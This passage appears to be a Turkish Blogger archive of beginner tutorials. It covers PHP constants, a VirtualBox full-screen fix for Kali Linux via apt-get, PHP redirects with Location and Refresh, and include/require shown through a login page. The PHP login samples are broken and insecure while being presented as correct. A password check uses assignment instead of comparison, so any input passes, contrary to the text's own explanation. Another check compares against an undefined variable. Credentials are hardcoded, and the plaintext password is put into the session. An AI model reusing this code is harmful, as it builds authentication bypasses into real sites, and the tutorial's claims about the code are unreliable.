Burada echo eren çıktısını verecektir. Bunu define ile yapsaydık ilk yazdığımızı verecekti.<br />
<br />
<b>defined</b> fonksiyonu ise sabit bir değişkenin olup olmadığını kontrol eder.
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
define('site', '</code><code><code>hakanerensan.blogspot.com</code>');
echo defined('site');
?>
</code></pre>
<br />
Eğer böyle bir değişken varsa <b>1 </b>yoksa ekrana birşey yazmaz.<br />
<br />
Faydalı olması dileğiyle...Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-28770220985320439632016-05-08T11:52:00.004-07:002016-05-15T18:31:57.904-07:00Linux Oracle VirtualBox tam ekran sorunu çözümüLinux üzerinde <b>virtualbox</b>'a <b>Kali linux </b>kurduğumda tam ekran sorunuyla karşılaştım. Bugünde gittiğim bir etkinlikte bir kaç kişide'de olduğunu görünce çözümü yazmak istedim.<br />
<br />
Virtualbox'un güncelleştirme sorunu sebebiyle bu sorunla karşılaşıyor. Aşağıdaki komutu virtualbox üzerinde kurduğunuz sistemin komut satırında açarak yazınız.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>sudo apt-get install virtualbox-guest-dkms
</code></pre>
<br />
ardından sistemi reboot ettiğinizde problem ortadan kalkıyor. Eğer kalkmazsa ;<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>sudo apt-get install build-essential
</code></pre>
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>sudo apt-get install dkms
sudo apt-get install build-essential module-assistant
sudo m-a prepare </code></pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><code>sudo apt-get install virtualbox-guest-dkms virtualbox-guest-utils virtualbox-guest-x11</code> </code></pre>
<br />
deneyebilirsiniz. Kolay gelsin.Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-234555947818229532016-05-05T17:20:00.002-07:002016-05-11T15:54:08.179-07:00Php'de Location ve Refresh kullanımıPhp'de yönlendirme komutları olarak geçen <b>Location </b>ve <b>Refresh </b>adlı iki komuttan bahsedeceğiz.<br />
<br />
Location : Anlık yönlendirme için kullanılır. Kullanım şekli ;<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>header(“Location : index.php” ) ;
</code></pre>
<br />
şeklindedir.<br />
<br />
Refresh : Burada bizim belirlediğimiz saniyede yönlendirme gerçekleştirilir. Kullanım şekli ;<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>header(“Refresh:10; url=index.php”) // 10 saniye sonra index.php'ye git
</code></pre>
<br />
şeklindedir.<br />
<br />
Örnek verecek olursak. Bir üye giriş senaryosu düşünelim. Üye eğer doğru şifreyi girerse location kullanarak kullanıcı paneline yönlendirelim.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>if ($_POST[“sifre”] = 1234)
{
header(“Location: kullanicipanel.php”);
exit;
}
</code></pre>
<br />
Burada şifrenin 1234 olarak girilmesi dahilinde kullanicipanel.php'ye direk olarak yönlendirilecektir.<br />
<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
header('Refresh: 3; url=http://www.hakanerensan.blogspot.com/admin');
echo “3 saniye sonra yönlendirileceksiniz...”;
?>
</code></pre>
<br />
Burada da Refresh ile belirtilen linke 3 saniye sonra yönlendirilecektir. Dikkat edilmesi gereken nokta verilen integer değerin saniye cinsinden olmasıdır.<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0tag:blogger.com,1999:blog-6759262881280090719.post-6104172895508285552016-05-05T13:09:00.001-07:002016-05-05T17:05:26.770-07:00Php'de İnclude ve Require kullanımıPhp'de<b> include</b>, <b>require</b> adlı iki tane deyimden bahsedeceğim. Bunlar bir php dosyasını başka bir php dosyasına dahil etmeye yarar. Farklarını yazıp bir örnekle açıklayalım.<br />
<br />
<br />
<b>include </b>: Bir sayfayı diğer sayfaya eklemeye yarar. Fakat include edilen sayfa bulunmazsa hata verir. Hatayı yazdıktan sonra include'dan sonra yazılan kodlar çalıştırılır.<br />
<br />
<b>require : </b>Bir sayfayı diğer sayfaya eklemeye yarar. İnclude ile arasındaki fark eklenilen sayfayı bulamazsa oda hata verir fakat kendinden sonra yazılan kodu çalıştırmaz.<br />
<br />
İnclude kullanıldığında sayfa bulunmadı taktirde hata verir ve kullanıcıya kötü bir görüntü oluşturur. Fakat require kullanılırsa sayfa bulunmadığında bir sonraki kodu çalıştırmayacağı kullanıcıya hatadan başka bir şey göstermeyecektir. <br />
<br />
<b>require_once : </b>Bu ise dahil edilen sayfanın birden fazla olmaması için kullanılır. Yani iki kez require_once yazmanız durumunda yalnızca bir tanesini çalıştırır. Diğerleri için bu durum geçerli olmayıp yazıldığı kadar çalıştırır. ( Genelde kullanılanda budur)<br />
<br />
Aşağıdaki örnek require_once üzerinden anlatılmıştır. Yerine include,require koyarakta aynı sonucu alabilirsiniz.<br />
<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
$user = "admin";
$password = "1234";
?></code></pre>
<br />
Basit bir config.php oluşturduğumuzu varsayalım. Bu iki değişkeni diğer sayfalarda da kullanacağımızı varsayalım. Tekrar yazmak yerine bu config.php dosyasını kullanmamız gereken sayfalara dahil ederiz.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
require_once("config.php");
session_start();
ob_start();
if(($_POST["username"]==$user) and ($_POST["password"]==$pass)){
$_SESSION["login"] = "true";
$_SESSION["user"] = $user;
$_SESSION["pass"] = $password;
header("Location:admin.php");
}else{
echo "Kullancı Adı veya Şifre Yanlış.<br>";
echo "Giriş sayfasına yönlendiriliyorsunuz.";
header("Refresh: 2; url=index.php");
}
ob_end_flush();
?>
</code></pre>
<br />
Burada gördüğünüz gibi sayfamıza config.php'yi dahil ediyoruz ve bu değişkenleri bu sayfada da kullanmış oluyor. <b>Bu sayede aynı kodları diğer sayfada da yazmak durumunda kalmıyoruz</b>. Diğer yazılan kodların bununla bir ilgisi yoktur. Örneği somutlaştırmak için basit bir login sayfasından gösterilmiştir.<br />
<br />
Faydalı olması dileğiyle..Anonymoushttp://www.blogger.com/profile/09946720993453483511noreply@blogger.com0